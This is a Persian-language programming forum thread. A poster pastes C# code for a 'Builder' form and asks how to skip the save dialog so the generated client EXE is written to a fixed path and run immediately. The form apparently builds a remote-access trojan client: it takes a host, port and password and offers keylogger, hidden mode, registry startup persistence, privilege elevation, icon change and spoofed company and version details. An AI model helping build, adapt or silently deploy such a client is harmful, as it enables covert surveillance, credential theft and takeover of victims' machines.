نمایش نتایج 1 تا 3 از 3

نام تاپیک: ایجاد فایل و اجرای مستقیم

  1. #1

    Unhappy ایجاد فایل و اجرای مستقیم

    سلام دوستان من یه برنامه دارم

    بهش یه سری اطلاعات میدی اونارو تو فایل exe تو مسیر دلخواه ذخیره میکنه


    حالا من میخوام اصلا سوالی نپرسه که تو چه مسیری ذخیره بشه فقط وقتی زدم رو کلید ساختن بره تو یه مسیره که تعریف کردم ساخته بشه

    بعد وقتی ساخته شد تو اون مسیره اجرا بشه


    میشه کمک کنید ؟

  2. #2
    کاربر دائمی آواتار samiasoft
    تاریخ عضویت
    مهر 1391
    محل زندگی
    اردبیل
    پست
    1,242

    نقل قول: ایجاد فایل و اجرای مستقیم

    درود

    دستوراتی که نوشتید رو قرار بدید...توضیحاتی که دادید مبهم هست

  3. #3

    نقل قول: ایجاد فایل و اجرای مستقیم


    private void btnBuild_Click(object sender, EventArgs e)
    {
    if (!string.IsNullOrEmpty(txtHost.Text) && !string.IsNullOrEmpty(txtPort.Text) &&
    !string.IsNullOrEmpty(txtDelay.Text) && // Connection Information
    !string.IsNullOrEmpty(txtPassword.Text) && !string.IsNullOrEmpty(txtMutex.Text) && // Client Options
    !chkInstall.Checked ||
    (chkInstall.Checked && !string.IsNullOrEmpty(txtInstallname.Text) &&
    !string.IsNullOrEmpty(txtInstallsub.Text)) && // Installation Options
    !chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrEmpty(txtRegistryKeyName.Text)))
    // Persistence and Registry Features
    {
    string output = string.Empty;
    string icon = string.Empty;

    if (chkIconChange.Checked)
    {
    using (OpenFileDialog ofd = new OpenFileDialog())
    {
    ofd.Filter = "Icons *.ico|*.ico";
    ofd.Multiselect = false;
    if (ofd.ShowDialog() == DialogResult.OK)
    icon = ofd.FileName;
    }
    }

    using (SaveFileDialog sfd = new SaveFileDialog())
    {
    sfd.Filter = "EXE Files *.exe|*.exe";
    sfd.RestoreDirectory = true;
    sfd.FileName = "Client-built.exe";
    if (sfd.ShowDialog() == DialogResult.OK)
    output = sfd.FileName;
    }

    if (!string.IsNullOrEmpty(output) && (!chkIconChange.Checked || !string.IsNullOrEmpty(icon)))
    {
    try
    {
    string[] asmInfo = null;
    if (chkChangeAsmInfo.Checked)
    {
    if (!IsValidVersionNumber(txtProductVersion.Text) ||
    !IsValidVersionNumber(txtFileVersion.Text))
    {
    MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Builder",
    MessageBoxButtons.OK, MessageBoxIcon.Information);
    return;
    }

    asmInfo = new string[8];
    asmInfo[0] = txtProductName.Text;
    asmInfo[1] = txtDescription.Text;
    asmInfo[2] = txtCompanyName.Text;
    asmInfo[3] = txtCopyright.Text;
    asmInfo[4] = txtTrademarks.Text;
    asmInfo[5] = txtOriginalFilename.Text;
    asmInfo[6] = txtProductVersion.Text;
    asmInfo[7] = txtFileVersion.Text;
    }

    ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text,
    txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked,
    chkStartup.Checked, chkHide.Checked, chkKeylogger.Checked, int.Parse(txtPort.Text),
    int.Parse(txtDelay.Text),
    GetInstallPath(), chkElevation.Checked, icon, asmInfo, Application.ProductVersion);

    MessageBox.Show("Successfully built client!", "Success", MessageBoxButtons.OK,
    MessageBoxIcon.Information);
    }
    catch (FileLoadException)
    {
    MessageBox.Show("Unable to load the Client Assembly Information.\nPlease re-build the Client.",
    "Error loading Client", MessageBoxButtons.OK, MessageBoxIcon.Error);
    }
    catch (Exception ex)
    {
    MessageBox.Show(
    string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message,
    ex.StackTrace), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
    }
    }
    }
    else
    MessageBox.Show("Please fill out all required fields!", "Builder", MessageBoxButtons.OK,
    MessageBoxIcon.Information);
    }


    این کدها هست که باعث ایجاد فایل EXE میشه

    میخوام بدون اینکه پنجره ای SaveFileDialog باز بشه بره تو یه مسیری که مشخص میکنم ذخیره بشه

تاپیک های مشابه

  1. پاسخ: 13
    آخرین پست: سه شنبه 29 مرداد 1392, 14:10 عصر
  2. اجرای مستقیم فایل exe از ریسورس
    نوشته شده توسط Veteran در بخش برنامه نویسی در 6 VB
    پاسخ: 3
    آخرین پست: دوشنبه 27 شهریور 1391, 00:32 صبح
  3. سوال: Export Excell به طور مستقیم و بدون ایجاد فایل
    نوشته شده توسط mehran_sh_t در بخش ASP.NET Web Forms
    پاسخ: 1
    آخرین پست: دوشنبه 12 دی 1390, 12:32 عصر
  4. ايجاد فايل Config براي اجراي برنامه در يك شبكه
    نوشته شده توسط سيد مجتبي هاشمي در بخش مباحث عمومی دلفی و پاسکال
    پاسخ: 3
    آخرین پست: پنج شنبه 03 اردیبهشت 1388, 15:57 عصر
  5. اجرای مستقیم یک فایل از یک Stream ؟
    نوشته شده توسط fire-wizard در بخش برنامه نویسی در Delphi
    پاسخ: 8
    آخرین پست: چهارشنبه 03 بهمن 1386, 01:02 صبح

برچسب های این تاپیک

قوانین ایجاد تاپیک در تالار

  • شما نمی توانید تاپیک جدید ایجاد کنید
  • شما نمی توانید به تاپیک ها پاسخ دهید
  • شما نمی توانید ضمیمه ارسال کنید
  • شما نمی توانید پاسخ هایتان را ویرایش کنید
  •